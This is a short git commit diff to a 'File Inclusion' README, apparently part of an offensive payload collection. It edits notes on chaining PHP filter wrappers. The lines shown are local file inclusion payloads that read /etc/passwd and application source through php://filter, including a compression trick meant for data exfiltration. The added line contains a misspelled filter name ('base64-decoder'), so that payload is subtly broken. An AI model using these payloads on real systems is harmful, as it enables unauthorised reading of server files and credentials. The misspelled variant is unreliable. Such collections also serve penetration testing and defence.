added additional way to chain php filters

b4rtik · Feb 20, 2020 · 9d06e12 · 9d06e12
1 parent 7d650e9
commit 9d06e12
Showing 1 changed file with 2 additions and 2 deletions.
diff --git a/File Inclusion/README.md b/File Inclusion/README.md
@@ -133,8 +133,8 @@ can be chained with a compression wrapper for large files.
 http://example.com/index.php?page=php://filter/zlib.deflate/convert.base64-encode/resource=/etc/passwd
 ```
 
-NOTE: Wrappers can be chained multiple times : 
-- Multiple base64 decodes: `php://filter/convert.base64-decode/convert.base64-decode/convert.base64-decode/resource=%s`
+NOTE: Wrappers can be chained multiple times using `|` or `/`: 
+- Multiple base64 decodes: `php://filter/convert.base64-decoder|convert.base64-decode|convert.base64-decode/resource=%s`
 - deflate then base64encode (useful for limited character exfil): `php://filter/zlib.deflate/convert.base64-encode/resource=/var/www/html/index.php`
 
 ```powershell